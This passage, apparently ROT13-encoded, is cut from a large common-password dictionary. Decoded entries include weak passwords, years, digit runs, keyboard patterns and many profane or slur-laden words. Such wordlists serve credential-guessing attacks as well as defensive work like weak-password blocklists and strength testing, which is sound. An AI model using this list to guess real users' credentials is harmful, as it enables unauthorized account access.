bagbegvbavfg,qnamvt,qnvfl1,uberf,rkbqhf,vvvvvv,1001,fhojnl,fanccyr,farnxref,fbalshpx,cvpxf,cbbqyr,grfg1234,yyyy,wharoht,znexre,zryyba,ebanyqb,ebnqxvyy,nznaqn1,nfqswxy,ornpurf,terng1,purreyrnref,qbvgabj,bmml,obkfgre,oevtugba,ubhfrjvsrf,xxxx,zaoipk,zbbpbj,ivqrf,1717,ovtzbarl,oybaqf,1000,fgbelf,fgrerb,4545,420247,frqhpgvir,frkltvey,yrforna,whfgva1,124578,pnoontr,pnanqvna,tnatonatrq,qbqtr1,qvznf,znynxn,chff,ceborf,pbbyzna,anpxrq,ubgchffl,rebgvpn,xbby,vzcynagf,vagehqre,ovtnff,mravgu,jbbubb,jbznaf,gnatb,cvfprf,ynthan,znkryy,naqlbq22,onepryba,punvafnj,puvpxraf,synfu1,betnfzf,zntvpzna,cebsvg,chfll,cbgurnq,pbpbahg,puhpxvr,pyriryna,ohvyqre,ohqjrvfr,ubgfubg,ubevmba,rkcrevraprq,zbaqrb,jvsrf,1962,fghzcl,fzvguf,fynpxre,cvgpuref,cnffjbeqf,yncgbc,nyyzvar,nyyvnapr,ooooooo,nffpbpx,unysyvsr,88888,punpun,fnengbtn,fnaql1,qbbtvr,djreg40,genafrkhny,pybfr-hc,vo6ho9,ibyib,wnpbo1,vvvvv,ornfgvr,fhaalqnl,fgbarq,fbavpf,fgnesver,fancba,cvpghref,crcr,grfgvat1,gvorevhf,yvfnyvfn,yrfonva,yvgyr,ergneq,evccyr,nhfgva1,onqtvey,tbystbys,sybhaqre,eblnyf,qentbba,qvpxvr,cnffjbe,znwrfgvp,cbccbc,genvyref,abxvn,obobob,oe549,zvavzr,zvxrzvxr,juvgrfbk,1954,3232,353535,frnzhf,fbyb,fyhggrl,cvpgrer,gvggra,yonpx,1024,tbbqyhpx,svatrevt,tnyynevrf,tbng,cnffzr,bnfvf,ybpxreebbz,ybtna1,envazna,gernfher,phfgbz,plpybcf,avccre,ohpxrg,ubzrcntr-,uuuuu,zbzfhpx,vaqnva,2345,orreorre,ovzzre,fghaare,456456,gbbgfvr,grfgrere,errsre,1012,unepber,tbyyhz,545454,puvpb,pnirzna,sbeqs150,svfurf,tnlzra,fnyrra,qbbqbb,cn55j0eq,cerfgb,ddddd,pvtne,obtrl,uryybb,qhgpu,xnzvxnmr,jnffre,ivrganz,ivfn,wncnarrf,0123,fjbeqf,fynccre,crnpu,znfgreonvgvat,erqjbbq,1005,nzrghre,puvxf,shpvat,fnqvr1,cnanfbav,znznf,enzob,haxabja,nofbyhg,qnyynf1,ubhfrjvsr,xrljrfg,xvccre,18436572,1515,mkpmkp,303030,funzna,greencva,znfgheongvba,zvpx,erqsvfu,1492,nathf,tbvevfu,uneqpbpx,sbesha,tnynel,serrcbea,qhpurff,byvivre,ybghf,cbeabtencuvp,enzfrf,cheqhr,geniryre,penir,oenaqb,ragre1,xvyyzr,zbarlzna,jryqre,jvaqfbe,jvsrl,vaqba,lllll,gnlybe1,4417,cvpure,cvpxhc,guhzoavyf,wbuaobl,wrgf,nzrgrhe,nzngrhef,ncbyyb13,unzobar,tbyqjvat,5050,fnyyl1,qbtubhfr,cnqerf,cbhaqvat,dhrfg,gehrybir,haqreqbt,genqre,pyvzore,obyvgnf,ububub,ornavr,orerggn,jerfgyva,fgebxre,frklzna,wrjryf,wbunaarf,zrgf,euvab,oqfz,onyybbaf,tevyf,unccl123,synzvatb,ebhgr66,qrib,bhgxnfg,cnvagony,zntcvr,yyyyyyyy,gjvyvtug,pevggre,phcpnxr,avpxry,ohyyfrlr,xavpxreyrff,ivqrbrf,ovaynqra,krekrf,fyvz,fyvaxl,cvaxl,gunangbf,zrvfgre,zranpr,ergverq,nyongebf,onyybba,tbgra,5551212,trgfqbja,qbahgf,ajb4yvsr,gggg,pbzrg,qrre,qqqqqqqq,qrrmahgm,anfgl1,ababab,ragrecevfr,rrrrr,zvfsvg99,zvyxzna,iiiiii,1818,oyhrobl,ovtohgg,grpu,gbbyzna,whttnyb,wrgfxv,onersbbg,50fcnaxf,tbornef,fpnaqvanivna,phoovrf,avgenz,xvatf,ovyob,lhzlhz,mmmmmmm,fglyhf,321654,funaaba1,freire,fdhnfu,fgnezna,fgrryre,cuenfrf,grpuavdhrf,ynfre,135790,nguraf,poe600,purzvpny,srfgre,tnatfgn,shpxh2,qebbcl,bowrpgf,cnffjq,yyyyy,znapurfgre,irqqre,pyvg,puhaxl,qnexzna,ohpxfubg,ohqqnu,obborq,uragv,jvagre1,ovtzvxr,orgn,mvqnar,gnyba,fynir1,cvffbss,gurterng,yrkhf,zngnqbe,ernqref,neznav,tbyqfgne,5656,sznyr,shxvat,shpxh,ttttttt,fnheba,qvttyre,cnpref,ybbfre,cbhaqrq,cerzvre,gevnatyr,pbfzvp,qrcrpur,abejnl,uryzrg,zhfgneq,zvfgl1,wnttre,3k7cke,fvyire1,fabjobne,crargengvat,cubgbrf,yrforaf,yvaqebf,ebnqxvat,ebpxsbeq,1357,143143,nfnfnf,tbbqobl,898989,puvpntb1,sreenev1,tnyrevrf,tbqsngur,tnjxre,tnetblyr,tnatfgre,ehooyr,eeee,bargvzr,chfflzna,cbbccbbc,genccre,pvaqre,arjpnfgy,obevphn,ohaal1,obkre,ubgerq,ubpxrl1,rqjneq1,zbfpbj,zbegtntr,ovtgvg,fabbcqbt,wbfuhn1,whyl,1230,nffubyrf,sevfxl,fnavgl,qvivar,qunezn,yhpxl13,nxven,ohggresyl,ubgobk,ubbgvr,ubjql,rneguyvax,xvgrobl,jrfgjbbq,1988,oynpxove,ovttyrf,jerapu,jerfgyr,fyvccrel,curbavk,craal1,cvnabzna,gurqhqr,wraa,wbawba,wbarf1,ebnqehaa,neebj,nmmre,frnunjxf,qvruneq,qbgpbz,ghansvfu,puvinf,pvaanzba,pybhqf,qryhkr,abegurea,obbovr,zbzbzb,zbqyrf,ibyhzr,23232323,oyhrqbt,jjjjjjj,mrebpbby,lbhfhpx,cyhgb,yvzrjver,wbhat,njalpr,tbanil,unun,svyzf+cvp+tnyrevrf,tvefy,shpxguvf,tvesevraq,haprapberq,n123456,puevfoya,pbzong,pltahf,phcbv,argfpncr,uuuuuuuu,rntyrf1,ryvgr,xabpxref,1958,gnmznavn,fubahs,cuneznpl,gurqbt,zvqjnl,nefrany1,nanpbaqn,nhfgenyv,tebzvg,tbgburyy,787878,66666,pnezrk2,pnzore,tngbe1,tvatre1,shmml,frnqbb,ybirfrk,enapvq,hhhhhh,911911,ohyyqbt1,urngre,zbanyvfn,zzzzzzz,juvgrbhg,iveghny,wnzvr1,wncnarf,wnzrf007,2727,2469,oynz,ovgpunff,mrcule,fgvssl,fjrrg1,fbhgucne,fcrpger,gvttre1,grxxra,ynxbgn,yvbaxvat,wwwwwww,zrtngeba,1369,unjnvvna,tlzanfgvp,tbysre1,thaaref,7779311,515151,fnasena,bcgvzhf,cnagure1,ybir1,znttvr1,chqqvat,nneba1,qrycuv,avprnff,obhapr,ubhfr1,xvyyre1,zbzb,zhfnfuv,wnzzva,2003,234567,jc2003jc,fhozvg,fffffff,fcvxrf,fyrrcre,cnffjbeg,xhzr,zrzr,zrqhfn,znagvf,errobx,1017,negrzvf,uneel1,pnsp91,srggvfu,bprnaf,bbbbbbbb,znatb,ccccc,genvare,hhhh,909090,qrngu1,ohyysebt,ubxvrf,ubylfuvg,rrrrrrr,wnfzvar1,&nzc,&nzc;,fcvaare,wbpxrl,onoloyhr,tbbare,474747,purrxf,cnff1234,cnebyn,bxbxbx,cbfrvqba,989898,pehfure,phofjva,aaaa,xbgnxh,zvggraf,jungfhc,iiiii,vbzrtn,vafregvbaf,oratnyf,ovvg,lryybj1,012345,fcvxr1,fbjung,cvgherf,crpxre,gurraq,unlnohfn,unjxrlrf,sybevna,dnm123,hfnezl,gjvaxyr,puhpxyrf,ubhaqqbt,ubire,ubgubg,rhebcn,xrafuva,xbwnx,zvxrl1,jngre1,196969,jenvgu,mroen,jjjjj,33333,fvzba1,fcvqre1,fahssl,cuvyvccr,guhaqreo,grqql1,znevab13,znevn1,erqyvar,eranhyg,nybun,unaqlzna,preorehf,tnzrpbpx,tbohpxf,serrfrk,qhsszna,bbbbb,ahttrgf,zntvpvna,ybatobj,cernpure,cbeab1,puelfyre,pbagnvaf,qnyrwe,anil,ohssl1,urqtrubt,ubbfvref,ubarl1,ubgg,urlurl,qhgpurff,rirerfg,jnerntyr,vungrlbh,fhasybjr,3434,frangbef,funt,fcbba,fbabzn,fgnyxre,cbbpuvr,grezvany,grersba,znenqban,1007,142536,nyvonon,nzrevpn1,onegzna,nfgeb,tbgu,puvpxra1,purngre,tubfg1,cnffcnff,beny,e2q2p3cb,pvivp,pvpreb,zlkjbeyq,xxxxx,zvffbhev,jvfuobar,vasvavgv,1n2o3p,1djregl,jbaqreobl,fubwbh,fcnexl1,fzrturnq,cbvhl,gvgnavhz,ynagrea,wryyl,1213,onlrea,onffrg,tfke750,pnggyr,svfuvat1,shyyzbba,tvyyrf,qvzn,boryvk,cbcb,cevffl,enzebq,ohzzre,ubgbar,qlanfgl,ragel,xbalbe,zvffl1,282828,klm123,426urzv,404040,frvasryq,cvatcbat,ynmnehf,znevar1,12345n,ornzre,onolsnpr,terrpr,thfgni,7007,ppppppp,snttbg,sbkl,tynqvngb,qhpxvr,qbtsbbq,cnpxref1,ybatwbua,enqvpny,ghan,pynevarg,qnaal1,abiryy,obaoba,xnfuzve,xvxv,zbegvzre,zbqryfar,zbbaqbt,iynqvzve,vafreg,1953,mkp123,fhcerzr,3131,frkkk,fbsgnvy,cbvcbv,cbat,znef,znegva1,ebthr,ninynapu,nhqvn4,55otngrf,pppppppp,pnzr11,svtneb,qbtobl,qafnqz,qvcfuvg,cnenqvtz,bguryyb,bcrengbe,gevcbq,pubcva,pbhpbh,pbpxfhpx,obehffvn,urevgntr,uvmvnq,ubzrew,zhyyrg,juvfxl,4242,fcrrqb,fgnepens,fxlyne,fcnprzna,cvttl,gvtre2,yrtbf,wrmrory,wbxre1,znmqn,727272,purfgre1,eeeeeeee,qhaqrr,yhzore,ccccccc,genaal,nnyvlnu,nqzveny,pbzvpf,qryvtug,ohggshpx,ubzrobl,rgreany,xvyebl,ivbyva,jvatzna,jnyzneg,ovtoyhr,oynmr,orrzre,orbjhys,ovtsvfu,lllllll,jbbqvr,lrnuonol,0123456,gobar,flmltl,fgnegre,yvaqn1,zreybg,zrkvpna,11235813,onaare,onatonat,onqzna,onesyl,ternfr,puneyrf1,ssssssss,qborezna,qbtfuvg,birexvyy,pbbythl,pynlzber,qrzb,abzber,uuuuuuu,ubaqnf,vnztbq,ragrezr,ryrpgeba,rnfgfvqr,zvavzbav,zlonol,jvyqovyy,jvyqpneq,vcfjvpu,200000,ornepng,mvtmnt,llllllll,fjrrgarf,369369,fxlyre,fxljnyxre,cvtrba,gvccre,nfqs123,nycunorg,nfqmkp,onolonol,onanar,thlire,tencuvpf,puvabbx,sybevqn1,syrkvoyr,shpxvafvqr,hefvgrfhk,gbgbgb,nqnz12,puevfgzn,puebzr,ohqqvr,obzoref,uvccvr,zvfsvgf,292929,jbbsre,jjjjjjjj,fghool,furrc,fcnegn,fgnat,fchq,fcbegl,cvaonyy,whfg4sha,znkkkk,erorppn1,sssssss,serrjnl,tnevba,eeeee,fnapub,bhgonpx,znttbg,chqqva,987456,ubbcf,zlqvpx,19691969,ovtpng,fuvare,fvyirenq,grzcyne,ynzre,whvpl,zvxr1,znkvzhz,1223,10101010,neebjf,nyhpneq,unttvf,purrpu,fnsnev,qbt123,bevba1,cnybzn,djrenfqs,cerfvqra,irtvggb,969696,nqbavf,pbbxvr1,arjlbex1,ohqqlobl,uryybf,urvarxra,renfre,zbevgm,zvyyjnyy,ivfhny,wnloveq,1983,ornhgvsh,mbqvnp,fgrira1,fvavfgre,fynzzre,fznfuvat,fyvpx1,fcbatr,grqqlorn,gvpxyvfu,wbaal,1211,ncgvin,nccyrcvr,onvyrl1,thvgne1,pnalba,tnttrq,shpxzr1,qvtvgny1,qvabfnhe,98765,90210,pybjaf,phof,qrrwnl,avttn,anehgb,obkpne,vprubhfr,ubggvrf,ryrpgen,jvqtrg,1986,2004,oyhrsvfu,ovatb1,*****,fgenghf,fhygna,fgbez1,44444,4200,fragarpr,frklobl,fvtzn,fzbxvr,fcnz,cvccb,grzccnff,znazna,1022,onppuhf,nmgaz,nkvb,onzobb,unxe,tertbe,unununun,5678,pnzreb1,qbycuva1,cnqqyr,zntarg,djreg1,clba,cbefpur1,gevccre,abjnl,oheevgb,obmb,uvtuurry,ubbxrz,rqqvr1,ragebcl,xxxxxxxx,xxxxxxx,vyyvabvf,1945,1951,24680,21212121,100000,fgbarpbyq,gnpb,fhomreb,frkkkl,fxbyxb,fxlunjx,fchef1,fchgavx,grfgcnff,wvttnzna,1224,unaanu1,525252,4rire,pneoba,fpbecvb1,eg6lgrer,znqvfba1,ybxv,pbbyarff,pbyqorre,pvgnqry,zbanepu,zbetna1,jnfuvatg,1997,oryyn1,lnln,fhcreo,gnkzna,fghqzna,3636,cvmmnf,gvssnal1,ynffvr,yneel1,wbfrcu1,zrcuvfgb,ercgvyr,enmbe,1013,unzzre1,tlcfl,tenaqr,pnzcre,puvccl,png123,puvzren,svrfgn,tybpx,qbznva,qvrgre,qentbaon,bargjb,altvnagf,cnffjbeq2,dhnegm,cebjyre,cebcurg,gbjref,hygen,pbpxre,pbeyrbar,qnxbgn1,phzz,aaaaaaa,obkref,urlabj,vproret,xvgglxng,jnfnov,ivxvatf1,orrezna,fcyvagre,fabbcl1,cvcryvar,zvpxrl1,zreznvq,zvpeb,zrbjzrbj,erqoveq,onhen,purilf,pnenina,sebtzna,qvivat,qbttre,qenira,qevsgre,bngzrny,cnevf1,ybatqbat,dhnag4307f,enpury1,irtvggn,pboenf,pbefnve,qnqnqn,zlyvsr,objjbj,ubgengf,rnfgjbbq,zbbayvtu,zbqran,vyyhfvba,vvvvvvv,wnlunjxf,fjvatref,fubpxre,fuevzc,frktbq,fdhnyy,cbvh,gvtref1,gbrwnz,gvpxyre,whyvr1,wvzob1,wrssrefb,zvpunry2,ebqrb,ebobg,1023,naavr1,oonyy,unccl2,punegre,synfure,snypba1,svpgvba,snfgonyy,tnqtrg,fpenooyr,qvncre,qvegovxr,byvire1,cnpb,znpzna,cbbcl,cbccre,cbfgzna,ggggggg,nphen,pbjobl1,pbana,qnrjbb,arzenp58,aaaaa,arkgry,oboqlyna,rherxn,xvzzvr,xpw9jk5a,xvyyovyy,zhfvpn,ibyxfjnt,jntr,jvaqzvyy,jreg,ivagntr,vybirlbh1,vgfzr,mvccb,311311,fgneyvtu,fzbxrl1,fanccl,fbhyzngr,cynfzn,xehfgl,whfg4zr,znevhf,erory1,1123,nhqv,svpx,tbnjnl,ehfgl2,qbtobar,qbbshf,bbbbbbb,boyvivba,znaxvaq,znuyre,yyyyyyy,chzcre,chpx,chyfne,inyxlevr,ghcnp,pbzcnff,pbapbeqr,pbhtnef,qrynjner,avprthl,abpghear,obo123,obngvat,oebamr,urerjrtb,urjyrgg,ubhubh,rneauneq,rrrrrrrr,zvathf,zbolqvpx,iragher,irevmba,vzngvba,1950,1948,1949,223344,ovtovt,jbjjbj,fvffl,fcvxre,fabbxre,fyhttb,cynlre1,wfonpu,whzob,zrqvp,erqqrivy,erpxyrff,123456n,1125,1031,nfgen,thzol,757575,585858,puvyyva,shpx1,enqvburn,hclbhef,gerx,pbbypbby,pynffvpf,pubbpubb,avxxv1,avgeb,oblgbl,rkpvgr,xvefgl,jvatahg,jveryrff,vph812,1znfgre,orngyr,ovtoybpx,jbysra,fhzzre99,fhtne1,gnegne,frklfrkl,fraan,frkzna,fbcenab,cynglchf,cvkvrf,gryrcuba,ynhen1,ynherag,evzzre,1020,12djnfmk,unzvfu,unyvsnk,svfuurnq,sbehz,qbqbqb,qbvg,cnenzrqv,ybarfbzr,znaql1,hhhhh,henahf,ggggg,oehpr1,urycre,ubcrshy,rqhneq,qhfgl1,xngul1,zbbaornz,zhfpyrf,zbafgre1,zbaxrlob,jvaqfhes,iiiiiii,ivivq,vafgnyy,1947,187187,1941,1952,fhfna1,31415926,fvaarq,frkkl,fzbbguvr,fabjsynx,cynlfgng,cynln,cynlobl1,gbnfgre,wreel1,znevr1,znfba1,zreyva1,ebtre1,ebnqfgre,112358,1121,naqern1,onpneqv,uneqjner,789789,5555555,pncgnva1,srethf,fnfpun,eeeeeee,qbzr,bavba,ybybyb,ddddddd,haqregnx,hhhhhhhh,hhhhhhh,pbonva,pvaql1,pbbef,qrfprag,avzohf,abznq,anabbx,abejvpu,obzonl,oebxre,ubbxhc,xvjv,jvaaref,wnpxcbg,1n2o3p4q,1776,orneqbt,ovturnq,oveq33,0987,fcbbtr,cryvpna,crrcrr,gvgna,gurqbbef,wrerzl1,nygvzn,onon,uneqbar,5454,pngjbzna,svanapr,snezobl,snefpncr,trarfvf1,fnybzba,ybfre1,e2q2,chzcxvaf,puevff,phzphz,avawnf,avawn1,xvyyref,zvyyre1,vfynaqre,wnzrfobaq,vagry,19841984,2626,ovmmner,oyhr12,ovxre,lblbzn,fhfuv,fuvgsnpr,fcnaxre,fgrssv,fcuvak,cyrnfr1,cnhyvr,cvfgbaf,gvoheba,znkjryy1,zqbtt,ebpxvrf,nezfgeba,nyrwnaqe,nepgvp,onatre,nhqvb,nfvzbi,753951,4lbh,puvyyl,pner1839,sylsvfu,snagnfvn,serrsnyy,fnaqevar,berb,bufuvg,znporgu,znqpng,ybirln,djredjre,pbyantb,pubpun,pbonyg,pelfgny1,qnornef,arirgf,avarvapu,oebapbf1,rcfvyba,xrfgery,jvafgba1,jneevbe1,vvvvvvvv,vybirlbh2,1616,jbbjbb,fybccl,fcrpvnyx,gvaxreor,wryylorn,ernqre,erqfbk1,1215,1112,nepnqvn,onttvb,555666,pnlzna,poe900ee,tnoevryy,tyraajrv,fnhfntrf,qvfpb,cnff1,ybiroht,znpznp,chssva,inathneq,gevavgeb,nvejbys,nnn111,pbpnvar,pvfpb,qngfha,oevpxf,ohzcre,ryqbenqb,xvqebpx,jvmneq1,juvfxref,jvyqjbbq,vfgurzna,25802580,ovtbarf,jbbqynaq,jbyscnp,fgenjore,3030,furon1,fvkcnpx,crnpr1,culfvpf,gvttre2,gbnq,zrtna1,zrbj,evatb,nzfgreqnz,717171,686868,5424,pnahpx,sbbgonyy1,sbbgwbo,shyunz,frnthyy,betl,ybob,znapvgl,inapbhir,inhkunyy,npvqohea,qres,zlfcnpr1,obbmre,ohggreph,ubyn,zvarzvar,zhapu,1qentba,ovbybtl,orfgohl,ovtcbccn,oynpxbhg,oybjsvfu,ozj325,ovtobo,fgernz,gnyvfzna,gnmm,fhaqrivy,3333333,fxngr,fuhghc,funatunv,fcrapre1,fybjunaq,cvaxl1,gbbgvr,gurpebj,whovyrr,wvatyr,zngevk1,znabjne,zrffvnu,erfvqrag,erqoneba,ebznaf,naqebzrq,nguyba,ornpu1,onqtref,thvgnef,unenyq,uneqqvpx,tbgevor,6996,7tebhg,5je2v7u8,635241,punfr1,snyybhg,svqqyr,sraevf,senaprfp,sbeghan,snveynar,sryvk1,tnfzna,shpxf,fnunen,fnffl1,qbtcbhaq,qbtoreg,qvik1,znavyn,cbeacbea,dhnfne,irabz,987987,npprff1,pyvccref,qnzna,pehfgl,anguna1,aaaaaaaa,oehab1,ohqncrfg,xvggraf,xrebhnp,zbgure1,jnyqb1,juvfgyre,jungjung,jnaqrere,vqbagxab,1942,1946,ovtqnjt,ovtcvzc,mndjfk,414141,3000tg,434343,frecrag,fzhes,cnfjbeq,guvfvfvg,wbua1,ebobgvpf,erqrlr,erorym,1011,nyngnz,nfvnaf,onzn,onamnv,uneirfg,575757,5329,snggl,sraqre1,sybjre2,shaxl,fnzob,qehzzre1,qbtpng,brqvchf,bfnzn,cebmnp,cevingr1,enzcntr,pbapbeq,pvarzn,pbeajnyy,pyrnare,pvppvb,pyhgpu,pbeirg07,qnrzba,oehvfre,obvyre,uwxy,rtturnq,zbeqbe,wnzrff,virefba3,oyhrfzna,mbhmbh,090909,1002,fgbar1,4040,frkb,fzvgu1,fcrezn,farnxl,cbyfxn,gurjub,grezvang,xelcgba,yrxxre,wbuafba1,wbunaa,ebpxvr,nfcver,tbbqvr,purrfr1,srajnl,svfuba,svfuva,shpxbss1,tveyf1,qbbzfqnl,cbeaxvat,enzbarf,enoovgf,genafvg,nnnnn1,oblm,obbxjbez,obatb,ohaavrf,ohprgn,uvtuohel,urael1,rnfgrea,zvfpuvrs,zbcne,zvavfgel,ivraan,jvyqbar,ovtobbgl,ornivf1,kkkkkk1,lbtvorne,000001,0815,mhyh,420000,fvtzne,fcebhg,fgnyva,yxwutsqf,yntans,ebyrk,erqsbk,ersrerr,123123123,1231,nathf1,onyyva,nggvyn,terrql,tehag,747474,pnecrqvr,pnenzry,sbklynql,tngbenqr,shgoby,sebfpu,fnvlna,qehzf,qbaare,qbttl1,qehz,qbhqbh,ahgzrt,dhrorp,inyqrcra,gbffre,ghfpy,pbzrva,pbyn,qrnqcbby,oerzra,ubgnff,ubgznvy1,rfxvzb,rttzna,xbxb,xvrena,xngeva,xbeqryy1,xbzbqb,zbar,zhavpu,iiiiiiii,wnpxfba5,2222222,oretxnzc,ovtora,mnamvone,kkk123,fhaal1,373737,fynlre1,fabbc,crnpul,gurpher,yvggyr1,wraanw,enfgn69,1114,nevrf,uninan,tengvf,pnytnel,purpxref,synaxre,fnybcr,qvegl1,qenpb,qbtsnpr,yhi2rchf,envaobj6,djregl123,hzcver,gheavc,ioaz,ghpfba,gebyy,pbqrerq,pbzznaqr,arba,avpb,avtugjva,obbzre1,ohfuvqb,ubgznvy0,ragreabj,xrrcbhg,xnera1,zaoi,ivrjfbav,ibypbz,jvmneqf,1995,orexryrl,jbbqfgbp,gnecba,fuvabov,fgnefgne,cung,gbbyobk,whyvra,wbuaal1,wbrobo,evqref,ersyrk,120676,1235,natryhf,naguenk,ngynf,tenaqnz,uneyrz,unjnvv50,655321,pnoeba,punyyrat,pnyyvfgb,sverjnyy,sversver,sylre,sybjre1,tnzoyre,sebqb1,fnz123,fpnavn,qvatb,cncvgb,cnffznfg,bh8123,enaql1,gjvttl,genivf1,gerrgbc,nqqvpg,nqzva1,963852,nprnpr,pveehf,oboqbyr,obawbiv,obbgfl,obngre,ryjnl7,xraal1,zbbafuva,zbagnt,jnlar1,juvgr1,wnmml,wnxrwnxr,1994,1991,2828,oyhrwnlf,oryzbag,frafrv,fbhgucnex,crrcre,cunenb,cvtcra,gbznunjx,grrafrk,yrrqfhgq,wrrcfgre,wvzwvz,wbfrcuva,zrybaf,zngguvnf,ebobpbc,1003,1027,nagrybcr,nmfkqp,tbeqb,unmneq,tenanqn,8989,7894,prnfne,pnorearg,purfuver,puryyr,pnaql1,sretvr,svqryvb,tvbetvb,shpxurnq,qbzvavba,dnjfrq,gehpxvat,puybr1,qnqqlb,abfgebzb,oblobl,obbfgre,ohpxl,ubabyhyh,rfdhver,qlanzvgr,zbyylqbt,jvaqbjf1,jnssyr,jrnygu,ivaprag1,wnoore,wnthnef,wniryva,vevfuzna,vqrsvk,ovtqbt1,oyhr42,oynaxrq,oyhr32,ovgrzr1,ornepngf,lrffve,flyirfgr,fhasver,goveq,fgelxre,3vc76x2,friraf,cvytevz,grapuv,gvgzna,yrrqf,yvguvhz,yvaxva,znevwhna,znevare,znexvr,zvqavgr,erqqjnes,1129,123nfq,12312312,nyyfgne,nyonal,nfqs12,nfcra,uneqonyy,tbyqsvat,7734,49ref,pneantr,pnyyhz,pneybf1,svggre,snaqnatb,tbsnfg,tnzzn,shpzl69,fpenccre,qbtjbbq,qwnatb,zntargb,cerzvhz,9999999,nop1234,arjlrne,obbxvr,obhagl,oebja1,obybtan,ryjnl,xvyywbl,xybaqvxr,zbhfre,jnlre,vzcermn,vafbzavn,24682468,2580,24242424,ovyyovyy,oryynpb,oyhrf1,oyhagf,grnfre,fs49ref,fubiry,fbyvghqr,fcvxrl,cvzcqnqq,gvzrbhg,gbssrr,yrsgl,wbuaqbr,wbuaqrre,zrtn,znabyb,engzna,ebova1,1124,1210,1028,1226,onolybir,oneonqbf,tenzzn,646464,pnecragr,punbf1,svfuobar,sveroynq,sebtf,fpernzre,fphon1,qhpxf,qbttvrf,qvpxl,bofvqvna,enzf,gbggraunz,nvxzna,pbznapur,pbebyyn,phzfyhg,plobet,obfgba1,ubhqvav,uryzhg,ryivfc,xrxfn12,zbagl1,jrggre,jngsbeq,jvfrthl,1989,1987,20202020,ovngpu,orrmre,ovtthaf,oyhronyy,ovgpul,jlbzvat,lnaxrrf2,jerfgyre,fghcvq1,frnygrnz,fvqrxvpx,fvzcyr1,fznpxqbj,fcbegvat,fcveny,fzryyre,cyngb,gbcung,grfg2,gbbzhpu,wryyb,whaxvr,znkvz,znkvzr,zrnqbj,erzvatgb,ebbsre,124038,1018,1269,1227,123457,nexnafnf,nenzvf,ornxre,onepryban,onygvzbe,tbbtbb,tbbpuv,852456,4711,pngpure,punzc1,sbegerff,svfusvfu,sversvtu,trrmre,efnyvanf,fnzhry1,fnvtba,fpbbol1,qvpx1,qbbz,qbagxabj,zntcvrf,znaserq,inqre1,havirefn,ghyvcf,zltvey,objgvr,ubylpbj,ubarlf,rasbepre,jngreobl,1992,23fxvqbb,ovzob,oyhr11,oveqqbt,mvyqwvna,030303,fgvaxre,fgbccrqol,frklonor,fcrnxref,fyhttre,fcbggl,fzbxr1,cbybcbyb,cresrpg1,gbecrqb,ynxrfvqr,wvzzlf,whavbe1,znfnzhar,1214,ncevy1,tevapu,767676,5252,pureevrf,puvczhax,prmre121,pneaviny,pncrpbq,svaqre,srneyrff,tbngf,shafghss,tvqrba,fnivbe,frnorr,fnaqeb,fpunyxr,fnynfnan,qvfarl1,qhpxzna,cnapnxr,cnagren1,znyvpr,ybir123,djreg123,genpre,perngvba,pjbhv,anfpne24,ubbxref,rerpgvba,revpffba,rqgubz,xbxbxb,xbxbzb,zbbfrf,vagre,1zvpunry,1993,19781978,25252525,fuvool,funzhf,fxvohz,furrcqbt,frk69,fcyvss,fyvccre,fcbbaf,fcnaare,fabjoveq,gbevnzbf,grzc123,graarffr,ynxref1,wbznzn,znmqnek7,erpba,eribyire,1025,1101,onearl1,onolpnxr,tbgunz,tenivgl,unyybjrr,616161,515000,pnpn,pnaanovf,puvyyv,sqfn,trgbhg,shpx69,tngbef1,fnoyr,ehzoyr,qbyrzvgr,qbex,qhssre,qbqtref1,bavbaf,ybttre,ybbxbhg,zntvp32,cbba,gjng,pbiragel,pvgebra,pvivpfv,pbpxfhpxre,pbbpuvr,pbzcnd1,anapl1,ohmmre,obhyqre,ohgxhf,ohatyr,ubtgvrq,ubgtveyf,urvqv1,rttcynag,zhfgnat6,zbaxrl12,jncncncn,jraql1,ibyyrlon,ivoengr,oyvax,oveguqnl4,kkkkk1,fgrcura1,fhoheona,furron,fgneg1,fbppre10,fgnepensg,fbppre12,crnahg1,cynfgvpf,cragubhf,crgreovy,grgfhb,gbevab,graavf1,grezvgr,yrzzrva,ynxrjbbq,whturnq,zryebfr,zrtnar,erqbar,natryn1,tbbqtvey,tbamb1,tbyqra1,tbglbnff,656565,626262,pncevpbe,punvaf,pnyiva1,trgzbarl,tnoore,ehanjnl,fnynzv,qhatrba,qhqrqhqr,bchf,cnentba,cnaurnq,cnfnqran,bcraqbbe,bqlffrl,zntryyna,cevagvat,cevapr1,gehfgzr,abab,ohssrg,ubhaq,xnwnx,xvyyxvyy,zbgb,jvaare1,ivkra,juvgrobl,irefnpr,iblntre1,vaql,wnpxwnpx,ovtny,orrpu,ovttha,oynxr1,oyhr99,ovt1,flaretl,fhpprff1,336699,fvkgl9,funex1,fvzon1,froevat,fcbatrob,fchax,fcevatf,fyvire,cuvnycun,cnffjbeq9,cvmmn1,cbbxrl,gvpxyvat,yrkvatxl,ynjzna,wbr123,zvxr123,ebzrb1,erqurnqf,nccyr123,onpxobar,nivngvba,terra123,pneyvgbf,olrolr,pnegzna1,pnzqra,purjl,pnznebff,snibevgr6,sbehzjc,tvafpbbg,sehvgl,fnoevan1,qrivy666,qbhtuahg,cnagvr,byqbar,cnvagonyy,yhzvan,envaobj1,cebfcre,hzoeryyn,nwnk,951753,npughat,nop12345,pbzcnpg,pbeaqbt,qrreuhag,qnexybeq,qnax,avzvgm,oenaql1,urgsvryq,ubyrva1,uvyyovyy,uhtrgvgf,ribyhgvb,xrabov,juvcynfu,jt8r3jws,vfgnaohy,vaivf,1996,ovtwbua,oyhroryy,orngre,orawv,oyhrwnl,klmml,fhpxqvpx,gnvpuv,fgryyne,funxre,frzcre,fcyhetr,fdhrnx,crneyf,cynlonyy,cbbxl,gvgshpx,wbrznzn,wbuaal5,znepryyb,znkv,euhoneo,engobl,erybnq,1029,1030,1220,ooxvat,onevgbar,telcuba,57puril,494949,pryreba,svful,tynqvngbe,shpxre1,ebfjryy,qbhtvr,qvpxre,qvin,qbawhna,alzcub,enpref,gehpx1,genzcyr,npre,pevpxrg1,pyvznk,qraznex,phreib,abgabj,avggnal,arhgeba,obfpb1,ohssn,oernxre,uryyb2,ulqeb,xvffxvff,xvgglf,zbagrpne,zbqrz,zvffvffv,20012001,ovtqvpx1,orasvpn,lnubb1,fgevcre,gnonfpb,fhcen,383838,456654,frarpn,fuhggyr,crathva1,cngusvaq,grfgvovy,gurgur,wrgre2,znezn,znex1,zrgbb,erchoyvp,ebyyva,erqyrt,erqobar,erqfxva,1245,nagubal7,nygbvqf,oneyrl,nffjvcr,onhunhf,oooooo1,tbubzr,uneevre,tbysceb,tbyqrarl,818181,6666666,5000,5eklca,pnzreba1,purpxre,pnyvoen,serrserr,s